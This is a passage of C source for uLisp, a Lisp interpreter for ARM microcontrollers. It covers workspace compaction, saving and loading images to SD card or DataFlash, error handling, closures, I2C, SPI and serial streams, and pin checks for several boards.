#endif\n}\n\n\/\/ Compact image\n\nvoid movepointer (object *from, object *to) {\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n unsigned int type = (obj->type) & ~MARKBIT;\n if (marked(obj) && (type >= STRING || type==ZERO)) {\n if (car(obj) == (object *)((uintptr_t)from | MARKBIT)) \n car(obj) = (object *)((uintptr_t)to | MARKBIT);\n if (cdr(obj) == from) cdr(obj) = to;\n }\n }\n \/\/ Fix strings\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n if (marked(obj) && ((obj->type) & ~MARKBIT) == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n if (cdr(obj) == to) cdr(obj) = from;\n obj = (object *)((uintptr_t)(car(obj)) & ~MARKBIT);\n }\n }\n }\n}\n \nint compactimage (object **arg) {\n markobject(tee);\n markobject(GlobalEnv);\n markobject(GCStack);\n object *firstfree = Workspace;\n while (marked(firstfree)) firstfree++;\n object *obj = &Workspace[WORKSPACESIZE-1];\n while (firstfree < obj) {\n if (marked(obj)) {\n car(firstfree) = car(obj);\n cdr(firstfree) = cdr(obj);\n unmark(obj);\n movepointer(obj, firstfree);\n if (GlobalEnv == obj) GlobalEnv = firstfree;\n if (GCStack == obj) GCStack = firstfree;\n if (*arg == obj) *arg = firstfree;\n while (marked(firstfree)) firstfree++;\n }\n obj--;\n }\n sweep();\n return firstfree - Workspace;\n}\n\n\/\/ Make SD card filename\n\nchar *MakeFilename (object *arg) {\n char *buffer = SymbolTop;\n int max = maxbuffer(buffer);\n int i = 0;\n do {\n char c = nthchar(arg, i);\n if (c == '\\0') break;\n buffer[i++] = c;\n } while (i<max);\n buffer[i] = '\\0';\n return buffer;\n}\n\n\/\/ Save-image and load-image\n\n#if defined(sdcardsupport)\nvoid SDWriteInt (File file, int data) {\n file.write(data & 0xFF); file.write(data>>8 & 0xFF);\n file.write(data>>16 & 0xFF); file.write(data>>24 & 0xFF);\n}\n#elif defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4)\n\/\/ Winbond DataFlash support for Adafruit M4 Express boards\n#define PAGEPROG 0x02\n#define READSTATUS 0x05\n#define READDATA 0x03\n#define WRITEENABLE 0x06\n#define BLOCK64K 0xD8\n#define READID 0x90\n\n\/\/ Arduino pins used for dataflash\n#if defined(ARDUINO_ITSYBITSY_M4)\nconst int sck = 32, ssel = 33, mosi = 34, miso = 35;\n#elif defined(ARDUINO_METRO_M4)\nconst int sck = 41, ssel = 42, mosi = 43, miso = 44;\n#elif defined(ARDUINO_FEATHER_M4)\nconst int sck = 34, ssel = 35, mosi = 36, miso = 37;\n#endif\n\nboolean FlashSetup () {\n uint8_t manID, devID;\n digitalWrite(ssel, HIGH); pinMode(ssel, OUTPUT);\n pinMode(sck, OUTPUT);\n pinMode(mosi, OUTPUT);\n pinMode(miso, INPUT);\n digitalWrite(sck, LOW); digitalWrite(mosi, HIGH);\n digitalWrite(ssel, LOW);\n FlashWrite(READID);\n for(uint8_t i=0; i<4; i++) manID = FlashRead();\n devID = FlashRead();\n digitalWrite(ssel, HIGH);\n return (devID == 0x14); \/\/ Found correct device\n}\n\ninline void FlashWrite (uint8_t data) {\n shiftOut(mosi, sck, MSBFIRST, data);\n}\n\nvoid FlashBusy () {\n digitalWrite(ssel, 0);\n FlashWrite(READSTATUS);\n while (FlashRead() & 1 != 0);\n digitalWrite(ssel, 1);\n}\n\nvoid FlashWriteEnable () {\n digitalWrite(ssel, 0);\n FlashWrite(WRITEENABLE);\n digitalWrite(ssel, 1);\n}\n\nvoid FlashBeginRead () {\n FlashBusy();\n digitalWrite(ssel, 0);\n FlashWrite(READDATA);\n FlashWrite(0); FlashWrite(0); FlashWrite(0);\n}\n\ninline uint8_t FlashRead () {\n int data;\n return shiftIn(miso, sck, MSBFIRST);\n}\n\ninline void FlashEndRead(void) {\n digitalWrite(ssel, 1);\n}\n\nvoid FlashBeginWrite () {\n FlashBusy();\n \/\/ Erase 64K\n FlashWriteEnable();\n digitalWrite(ssel, 0);\n FlashWrite(BLOCK64K);\n FlashWrite(0); FlashWrite(0); FlashWrite(0);\n digitalWrite(ssel, 1);\n FlashBusy();\n}\n\ninline uint8_t FlashReadByte () {\n return FlashRead();\n}\n\nvoid FlashWriteByte (unsigned int *addr, uint8_t data) {\n \/\/ New page\n if (((*addr) & 0xFF) == 0) {\n digitalWrite(ssel, 1);\n FlashBusy();\n FlashWriteEnable();\n digitalWrite(ssel, 0);\n FlashWrite(PAGEPROG);\n FlashWrite((*addr)>>16);\n FlashWrite((*addr)>>8);\n FlashWrite(0);\n }\n FlashWrite(data);\n (*addr)++;\n}\n\ninline void FlashEndWrite (void) {\n digitalWrite(ssel, 1);\n}\n\nvoid FlashWriteInt (unsigned int *addr, int data) {\n FlashWriteByte(addr, data & 0xFF); FlashWriteByte(addr, data>>8 & 0xFF);\n FlashWriteByte(addr, data>>16 & 0xFF); FlashWriteByte(addr, data>>24 & 0xFF);\n}\n#endif\n\nint saveimage (object *arg) {\n unsigned int imagesize = compactimage(&arg);\n#if defined(sdcardsupport)\n SD.begin(SDCARD_SS_PIN);\n File file;\n if (stringp(arg)) {\n file = SD.open(MakeFilename(arg), O_RDWR | O_CREAT | O_TRUNC);\n arg = NULL;\n } else if (arg == NULL || listp(arg)) file = SD.open(\"ULISP.IMG\", O_RDWR | O_CREAT | O_TRUNC);\n else error3(SAVEIMAGE, PSTR(\"illegal argument\"));\n if (!file) error(PSTR(\"Problem saving to SD card\"));\n SDWriteInt(file, (uintptr_t)arg);\n SDWriteInt(file, imagesize);\n SDWriteInt(file, (uintptr_t)GlobalEnv);\n SDWriteInt(file, (uintptr_t)GCStack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n SDWriteInt(file, (uintptr_t)SymbolTop);\n for (int i=0; i<SYMBOLTABLESIZE; i++) file.write(SymbolTable[i]);\n #endif\n for (unsigned int i=0; i<imagesize; i++) {\n object *obj = &Workspace[i];\n SDWriteInt(file, (uintptr_t)car(obj));\n SDWriteInt(file, (uintptr_t)cdr(obj));\n }\n file.close();\n return imagesize;\n#elif defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4)\n if (!(arg == NULL || listp(arg))) error3(SAVEIMAGE, PSTR(\"illegal argument\"));\n if (!FlashSetup()) error(PSTR(\"No DataFlash found.\"));\n \/\/ Save to DataFlash\n int bytesneeded = imagesize*8 + SYMBOLTABLESIZE + 20;\n if (bytesneeded > FLASHSIZE) {\n pfstring(PSTR(\"Error: Image size too large: \"), pserial);\n pint(imagesize, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n }\n unsigned int addr = 0;\n FlashBeginWrite();\n FlashWriteInt(&addr, (uintptr_t)arg);\n FlashWriteInt(&addr, imagesize);\n FlashWriteInt(&addr, (uintptr_t)GlobalEnv);\n FlashWriteInt(&addr, (uintptr_t)GCStack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n FlashWriteInt(&addr, (uintptr_t)SymbolTop);\n for (int i=0; i<SYMBOLTABLESIZE; i++) FlashWriteByte(&addr, SymbolTable[i]);\n #endif\n for (unsigned int i=0; i<imagesize; i++) {\n object *obj = &Workspace[i];\n FlashWriteInt(&addr, (uintptr_t)car(obj));\n FlashWriteInt(&addr, (uintptr_t)cdr(obj));\n }\n FlashEndWrite();\n return imagesize;\n#else\n (void) arg;\n error(PSTR(\"save-image not available\"));\n return 0;\n#endif\n}\n\n#if defined(sdcardsupport)\nint SDReadInt (File file) {\n uintptr_t b0 = file.read(); uintptr_t b1 = file.read();\n uintptr_t b2 = file.read(); uintptr_t b3 = file.read();\n return b0 | b1<<8 | b2<<16 | b3<<24;\n}\n#elif defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4)\nint FlashReadInt () {\n uint8_t b0 = FlashReadByte(); uint8_t b1 = FlashReadByte();\n uint8_t b2 = FlashReadByte(); uint8_t b3 = FlashReadByte();\n return b0 | b1<<8 | b2<<16 | b3<<24;\n}\n#endif\n\nint loadimage (object *arg) {\n#if defined(sdcardsupport)\n SD.begin(SDCARD_SS_PIN);\n File file;\n if (stringp(arg)) file = SD.open(MakeFilename(arg));\n else if (arg == NULL) file = SD.open(\"\/ULISP.IMG\");\n else error3(LOADIMAGE, PSTR(\"illegal argument\"));\n if (!file) error(PSTR(\"Problem loading from SD card\"));\n SDReadInt(file);\n int imagesize = SDReadInt(file);\n GlobalEnv = (object *)SDReadInt(file);\n GCStack = (object *)SDReadInt(file);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n SymbolTop = (char *)SDReadInt(file);\n for (int i=0; i<SYMBOLTABLESIZE; i++) SymbolTable[i] = file.read();\n #endif\n for (int i=0; i<imagesize; i++) {\n object *obj = &Workspace[i];\n car(obj) = (object *)SDReadInt(file);\n cdr(obj) = (object *)SDReadInt(file);\n }\n file.close();\n gc(NULL, NULL);\n return imagesize;\n#elif defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4)\n if (!FlashSetup()) error(PSTR(\"No DataFlash found.\"));\n FlashBeginRead();\n FlashReadInt(); \/\/ Skip eval address\n int imagesize = FlashReadInt();\n if (imagesize == 0 || imagesize == 0xFFFF) error(PSTR(\"No saved image\"));\n GlobalEnv = (object *)FlashReadInt();\n GCStack = (object *)FlashReadInt();\n #if SYMBOLTABLESIZE > BUFFERSIZE\n SymbolTop = (char *)FlashReadInt();\n for (int i=0; i<SYMBOLTABLESIZE; i++) SymbolTable[i] = FlashReadByte();\n #endif\n for (int i=0; i<imagesize; i++) {\n object *obj = &Workspace[i];\n car(obj) = (object *)FlashReadInt();\n cdr(obj) = (object *)FlashReadInt();\n }\n gc(NULL, NULL);\n FlashEndRead();\n return imagesize;\n#else\n (void) arg;\n error(PSTR(\"load-image not available\"));\n return 0;\n#endif\n}\n\nvoid autorunimage () {\n#if defined(sdcardsupport)\n SD.begin(SDCARD_SS_PIN);\n File file = SD.open(\"ULISP.IMG\");\n if (!file) error(PSTR(\"Error: Problem autorunning from SD card\"));\n object *autorun = (object *)SDReadInt(file);\n file.close();\n if (autorun != NULL) {\n loadimage(NULL);\n apply(autorun, NULL, NULL);\n }\n#elif defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4)\n if (!FlashSetup()) error(PSTR(\"No DataFlash found.\"));\n FlashBeginRead();\n object *autorun = (object *)FlashReadInt();\n FlashEndRead();\n if (autorun != NULL && (unsigned int)autorun != 0xFFFF) {\n loadimage(nil);\n apply(autorun, NULL, NULL);\n }\n#else\n error(PSTR(\"autorun not available\"));\n#endif\n}\n\n\/\/ Error handling\n\nvoid error (PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\nvoid error2 (object *symbol, PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n if (symbol == NULL) pfstring(PSTR(\"function \"), pserial);\n else { pserial('\\''); printobject(symbol, pserial); pfstring(PSTR(\"' \"), pserial); }\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\nvoid error3 (symbol_t name, PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n if (symbol == NULL) pfstring(PSTR(\"function \"), pserial);\n else { pserial('\\''); pstring(lookupbuiltin(name), pserial); pfstring(PSTR(\"' \"), pserial); }\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\n\/\/ Tracing\n\nboolean tracing (symbol_t name) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) return i+1;\n i++;\n }\n return 0;\n}\n\nvoid trace (symbol_t name) {\n if (tracing(name)) error(PSTR(\"Already being traced\"));\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == 0) { TraceFn[i] = name; TraceDepth[i] = 0; return; }\n i++;\n }\n error(PSTR(\"Already tracing 3 functions\"));\n}\n\nvoid untrace (symbol_t name) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) { TraceFn[i] = 0; return; }\n i++;\n }\n error(PSTR(\"It wasn't being traced\"));\n}\n\n\/\/ Helper functions\n\nboolean consp (object *x) {\n if (x == NULL) return false;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nboolean atom (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type < PAIR && type != ZERO;\n}\n\nboolean listp (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nboolean improperp (object *x) {\n unsigned int type = x->type;\n return type < PAIR && type != ZERO;\n}\n\nint toradix40 (char ch) {\n if (ch == 0) return 0;\n if (ch >= '0' && ch <= '9') return ch-'0'+30;\n ch = ch | 0x20;\n if (ch >= 'a' && ch <= 'z') return ch-'a'+1;\n return -1; \/\/ Invalid\n}\n\nint fromradix40 (int n) {\n if (n >= 1 && n <= 26) return 'a'+n-1;\n if (n >= 30 && n <= 39) return '0'+n-30;\n return 0;\n}\n\nint pack40 (char *buffer) {\n return (((toradix40(buffer[0]) * 40) + toradix40(buffer[1])) * 40 + toradix40(buffer[2]));\n}\n\nboolean valid40 (char *buffer) {\n return (toradix40(buffer[0]) >= 0 && toradix40(buffer[1]) >= 0 && toradix40(buffer[2]) >= 0);\n}\n\nint digitvalue (char d) {\n if (d>='0' && d<='9') return d-'0';\n d = d | 0x20;\n if (d>='a' && d<='f') return d-'a'+10;\n return 16;\n}\n\nchar *name (object *obj){\n if (obj->type != SYMBOL) error(PSTR(\"Error in name\"));\n symbol_t x = obj->name;\n if (x < ENDFUNCTIONS) return lookupbuiltin(x);\n else if (x >= 64000) return lookupsymbol(x);\n char *buffer = SymbolTop;\n buffer[3] = '\\0';\n for (int n=2; n>=0; n--) {\n buffer[n] = fromradix40(x % 40);\n x = x \/ 40;\n }\n return buffer;\n}\n\nint integer (object *obj){\n if (!integerp(obj)) error2(obj, PSTR(\"is not an integer\"));\n return obj->integer;\n}\n\nfloat fromfloat (object *obj){\n if (!floatp(obj)) error2(obj, PSTR(\"is not a float\"));\n return obj->single_float;\n}\n\nfloat intfloat (object *obj){\n if (integerp(obj)) return obj->integer;\n if (!floatp(obj)) error2(obj, PSTR(\"is not an integer or float\"));\n return obj->single_float;\n}\n\nint fromchar (object *obj){\n if (!characterp(obj)) error2(obj, PSTR(\"is not a character\"));\n return obj->integer;\n}\n\nint istream (object *obj){\n if (!streamp(obj)) error2(obj, PSTR(\"is not a stream\"));\n return obj->integer;\n}\n\nint issymbol (object *obj, symbol_t n) {\n return symbolp(obj) && obj->name == n;\n}\n\nint eq (object *arg1, object *arg2) {\n if (arg1 == arg2) return true; \/\/ Same object\n if ((arg1 == nil) || (arg2 == nil)) return false; \/\/ Not both values\n if (arg1->cdr != arg2->cdr) return false; \/\/ Different values\n if (symbolp(arg1) && symbolp(arg2)) return true; \/\/ Same symbol\n if (integerp(arg1) && integerp(arg2)) return true; \/\/ Same integer\n if (floatp(arg1) && floatp(arg2)) return true; \/\/ Same float\n if (characterp(arg1) && characterp(arg2)) return true; \/\/ Same character\n return false;\n}\n\nint listlength (object *list) {\n int length = 0;\n while (list != NULL) {\n if (improperp(list)) error(PSTR(\"List argument is not a proper list\"));\n list = cdr(list);\n length++;\n }\n return length;\n}\n\n\/\/ Association lists\n\nobject *assoc (object *key, object *list) {\n while (list != NULL) {\n if (improperp(list)) error3(ASSOC, PSTR(\"argument is not a proper list\"));\n object *pair = first(list);\n if (!listp(pair)) error2(pair, PSTR(\"in 'assoc' is not a list\"));\n if (pair != NULL && eq(key,car(pair))) return pair;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *delassoc (object *key, object **alist) {\n object *list = *alist;\n object *prev = NULL;\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) {\n if (prev == NULL) *alist = cdr(list);\n else cdr(prev) = cdr(list);\n return key;\n }\n prev = list;\n list = cdr(list);\n }\n return nil;\n}\n\n\/\/ String utilities\n\nvoid indent (int spaces, pfun_t pfun) {\n for (int i=0; i<spaces; i++) pfun(' ');\n}\n\nvoid buildstring (char ch, int *chars, object **head) {\n static object* tail;\n static uint8_t shift;\n if (*chars == 0) {\n shift = (sizeof(int)-1)*8;\n *chars = ch<<shift;\n object *cell = myalloc();\n if (*head == NULL) *head = cell; else tail->car = cell;\n cell->car = NULL;\n cell->integer = *chars;\n tail = cell;\n } else {\n shift = shift - 8;\n *chars = *chars | ch<<shift;\n tail->integer = *chars;\n if (shift == 0) *chars = 0;\n }\n}\n\nobject *readstring (char delim, gfun_t gfun) {\n object *obj = myalloc();\n obj->type = STRING;\n int ch = gfun();\n if (ch == -1) return nil;\n object *head = NULL;\n int chars = 0;\n while ((ch != delim) && (ch != -1)) {\n if (ch == '\\\\') ch = gfun();\n buildstring(ch, &chars, &head);\n ch = gfun();\n }\n obj->cdr = head;\n return obj;\n}\n\nint stringlength (object *form) {\n int length = 0;\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n if (chars>>i & 0xFF) length++;\n }\n form = car(form);\n }\n return length;\n}\n\nchar nthchar (object *string, int n) {\n object *arg = cdr(string);\n int top;\n if (sizeof(int) == 4) { top = n>>2; n = 3 - (n&3); }\n else { top = n>>1; n = 1 - (n&1); }\n for (int i=0; i<top; i++) {\n if (arg == NULL) return 0;\n arg = car(arg);\n }\n if (arg == NULL) return 0;\n return (arg->integer)>>(n*8) & 0xFF;\n}\n\n\/\/ Lookup variable in environment\n\nobject *value (symbol_t n, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (pair != NULL && car(pair)->name == n) return pair;\n env = cdr(env);\n }\n return nil;\n}\n\nobject *findvalue (object *var, object *env) {\n symbol_t varname = var->name;\n object *pair = value(varname, env);\n if (pair == NULL) pair = value(varname, GlobalEnv);\n if (pair == NULL) error2(var, PSTR(\"unknown variable\"));\n return pair;\n}\n\n\/\/ Handling closures\n \nobject *closure (int tc, object *fname, object *state, object *function, object *args, object **env) {\n int trace = 0;\n if (fname != NULL) trace = tracing(fname->name);\n if (trace) {\n indent(TraceDepth[trace-1]<<1, pserial);\n pint(TraceDepth[trace-1]++, pserial);\n pserial(':'); pserial(' '); pserial('('); printobject(fname, pserial);\n }\n object *params = first(function);\n function = cdr(function);\n \/\/ Dropframe\n if (tc) {\n while (*env != NULL && car(*env) != NULL) pop(*env);\n } else push(nil, *env);\n \/\/ Push state\n while (state != NULL) {\n object *pair = first(state);\n push(pair, *env);\n state = cdr(state);\n }\n \/\/ Add arguments to environment\n boolean optional = false;\n while (params != NULL) {\n object *value;\n object *var = first(params);\n if (symbolp(var) && var->name == OPTIONAL) optional = true; \n else {\n if (consp(var)) {\n if (!optional) error2(fname, PSTR(\"invalid default value\"));\n if (args == NULL) value = eval(second(var), *env);\n else { value = first(args); args = cdr(args); }\n var = first(var);\n if (!symbolp(var)) error2(fname, PSTR(\"illegal optional parameter\")); \n } else if (!symbolp(var)) {\n error2(fname, PSTR(\"illegal parameter\")); \n } else if (var->name == AMPREST) {\n params = cdr(params);\n var = first(params);\n value = args;\n args = NULL;\n } else {\n if (args == NULL) {\n if (optional) value = nil; \n else error2(fname, PSTR(\"has too few arguments\"));\n } else { value = first(args); args = cdr(args); }\n }\n push(cons(var,value), *env);\n if (trace) { pserial(' '); printobject(value, pserial); }\n }\n params = cdr(params); \n }\n if (args != NULL) error2(fname, PSTR(\"has too many arguments\"));\n if (trace) { pserial(')'); pln(pserial); }\n \/\/ Do an implicit progn\n return tf_progn(function, *env);\n}\n\nobject *apply (object *function, object *args, object *env) {\n if (symbolp(function)) {\n symbol_t name = function->name;\n int nargs = listlength(args);\n if (name >= ENDFUNCTIONS) error2(function, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(function, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(function, PSTR(\"has too many arguments\"));\n return ((fn_ptr_type)lookupfn(name))(args, env);\n }\n if (listp(function) && issymbol(car(function), LAMBDA)) {\n function = cdr(function);\n object *result = closure(0, NULL, NULL, function, args, &env);\n return eval(result, env);\n }\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n object *result = closure(0, NULL, car(function), cdr(function), args, &env);\n return eval(result, env);\n }\n error2(function, PSTR(\"is an illegal function\"));\n return NULL;\n}\n\n\/\/ In-place operations\n\nobject **place (object *args, object *env) {\n if (atom(args)) return &cdr(findvalue(args, env));\n object* function = first(args);\n if (issymbol(function, CAR) || issymbol(function, FIRST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take car\"));\n return &car(value);\n }\n if (issymbol(function, CDR) || issymbol(function, REST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take cdr\"));\n return &cdr(value);\n }\n if (issymbol(function, NTH)) {\n int index = integer(eval(second(args), env));\n object *list = eval(third(args), env);\n if (atom(list)) error(PSTR(\"'nth' second argument is not a list\"));\n while (index > 0) {\n list = cdr(list);\n if (list == NULL) error(PSTR(\"'nth' index out of range\"));\n index--;\n }\n return &car(list);\n }\n error(PSTR(\"Illegal place\"));\n return nil;\n}\n\n\/\/ Checked car and cdr\n\ninline object *carx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take car\"));\n if (arg == nil) return nil;\n return car(arg);\n}\n\ninline object *cdrx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take cdr\"));\n if (arg == nil) return nil;\n return cdr(arg);\n}\n\n\/\/ I2C interface\n\nvoid I2Cinit(bool enablePullup) {\n (void) enablePullup;\n Wire.begin();\n}\n\ninline uint8_t I2Cread() {\n return Wire.read();\n}\n\ninline bool I2Cwrite(uint8_t data) {\n return Wire.write(data);\n}\n\nbool I2Cstart(uint8_t address, uint8_t read) {\n if (read == 0) Wire.beginTransmission(address);\n else Wire.requestFrom(address, I2CCount);\n return true;\n}\n\nbool I2Crestart(uint8_t address, uint8_t read) {\n int error = (Wire.endTransmission(false) != 0);\n if (read == 0) Wire.beginTransmission(address);\n else Wire.requestFrom(address, I2CCount);\n return error ? false : true;\n}\n\nvoid I2Cstop(uint8_t read) {\n if (read == 0) Wire.endTransmission(); \/\/ Check for error?\n}\n\n\/\/ Streams\n\ninline int spiread () { return SPI.transfer(0); }\n#if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO) || defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4) || defined(MAX32620)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\n#elif defined(ARDUINO_SAM_DUE)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\ninline int serial2read () { while (!Serial2.available()) testescape(); return Serial2.read(); }\ninline int serial3read () { while (!Serial3.available()) testescape(); return Serial3.read(); }\n#endif\n#if defined(sdcardsupport)\nFile SDpfile, SDgfile;\ninline int SDread () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n return SDgfile.read();\n}\n#endif\n\nvoid serialbegin (int address, int baud) {\n #if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO) || defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4) || defined(MAX32620)\n if (address == 1) Serial1.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #elif defined(ARDUINO_SAM_DUE)\n if (address == 1) Serial1.begin((long)baud*100);\n else if (address == 2) Serial2.begin((long)baud*100);\n else if (address == 3) Serial3.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #endif\n}\n\nvoid serialend (int address) {\n #if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO) || defined(ARDUINO_METRO_M4) || defined(ARDUINO_ITSYBITSY_M4) || defined(ARDUINO_FEATHER_M4) || defined(MAX32620)\n if (address == 1) {Serial1.flush(); Serial1.end(); }\n #elif defined(ARDUINO_SAM_DUE)\n if (address == 1) {Serial1.flush(); Serial1.end(); }\n else if (address == 2) {Serial2.flush(); Serial2.end(); }\n else if (address == 3) {Serial3.flush(); Serial3.end(); }\n #endif\n}\n\ngfun_t gstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n gfun_t gfun = gserial;\n if (args != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) gfun = (gfun_t)I2Cread;\n else if (streamtype == SPISTREAM) gfun = spiread;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) gfun = gserial;\n #if !defined(_VARIANT_BBC_MICROBIT_)\n else if (address == 1) gfun = serial1read;\n #endif\n }\n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) gfun = (gfun_t)SDread;\n #endif\n else error(PSTR(\"Unknown stream type\"));\n return gfun;\n}\n\ninline void spiwrite (char c) { SPI.transfer(c); }\n#if !defined(_VARIANT_BBC_MICROBIT_)\ninline void serial1write (char c) { Serial1.write(c); }\n#endif\n#if defined(sdcardsupport)\ninline void SDwrite (char c) { SDpfile.write(c); }\n#endif\n\npfun_t pstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n pfun_t pfun = pserial;\n if (args != NULL && first(args) != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) pfun = (pfun_t)I2Cwrite;\n else if (streamtype == SPISTREAM) pfun = spiwrite;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) pfun = pserial;\n #if !defined(_VARIANT_BBC_MICROBIT_)\n else if (address == 1) pfun = serial1write;\n #endif\n } \n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) pfun = (pfun_t)SDwrite;\n #endif\n else error(PSTR(\"unknown stream type\"));\n return pfun;\n}\n\n\/\/ Check pins\n\nvoid checkanalogread (int pin) {\n#if defined(ARDUINO_SAM_DUE)\n if (!(pin>=54 && pin<=65)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(ARDUINO_SAMD_ZERO)\n if (!(pin>=14 && pin<=19)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(ARDUINO_SAMD_MKRZERO)\n if (!(pin>=15 && pin<=21)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(ARDUINO_METRO_M4)\n if (!(pin>=14 && pin<=21)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(ARDUINO_ITSYBITSY_M4)\n if (!(pin>=14 && pin<=19)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(ARDUINO_FEATHER_M4)\n if (!(pin>=14 && pin<=19)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(_VARIANT_BBC_MICROBIT_)\n if (!((pin>=0 && pin<=4) || pin==10)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(MAX32620)\n if (!(pin>=49 && pin<=52)) error(PSTR(\"'analogread' invalid pin\"));\n#endif\n}\n\nvoid checkanalogwrite (int pin) {\n#if defined(ARDUINO_SAM_DUE)\n if (!((pin>=2 && pin<=13) || pin==66 || pin==67)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(ARDUINO_SAMD_ZERO)\n if (!((pin>=3 && pin<=6) || (pin>=8 && pin<=13) || pin==14)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(ARDUINO_SAMD_MKRZERO)\n if (!((pin>=0 && pin<=8) || pin==10 || pin==18 || pin==19)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(ARDUINO_METRO_M4)\n if (!(pin>=0 && pin<=15)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(ARDUINO_ITSYBITSY_M4)\n if (!(pin==0 || pin==1 || pin==4 || pin==5 || pin==7 || (pin>=9 && pin<=15) || pin==21 || pin==22)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(ARDUINO_FEATHER_M4)\n if (!(pin==0 || pin==1 || (pin>=4 && pin<=6) || (pin>=9 && pin<=13) || pin==14 || pin==15 || pin==17 || pin==21 || pin==22)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(_VARIANT_BBC_MICROBIT_)\n if (!(pin>=0 && pin<=2)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(MAX32620)\n if (!((pin>=20 && pin<=29) || pin==32 || (pin>=40 && pin<=48))) error(PSTR(\"'analogwrite' invalid pin\"));\n#endif\n}\n\n\/\/ Note\n\nvoid tone (int pin, int note) {\n (void) pin, (void) note;\n}\n\nvoid noTone (int pin) {\n (void) pin;\n}\n\nconst int scale[] PROGMEM = {4186,4435,4699,4978,5274,5588,5920,6272,6645,7040,7459,7902};\n\nvoid playnote (int pin, int note, int octave) {\n int prescaler = 8 - octave - note\/12;\n if (prescaler<0 || prescaler>8) error(PSTR(\"'note' octave out of range\"));\n tone(pin, scale[note%12]>>prescaler);\n}\n\nvoid nonote (int pin) {\n noTone(pin);\n}\n\n\/\/ Sleep\n\n#if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO)\nvoid WDT_Handler(void) {\n \/\/ ISR for watchdog early warning\n WDT->CTRL.bit.ENABLE = 0; \/\/ Disable watchdog\n 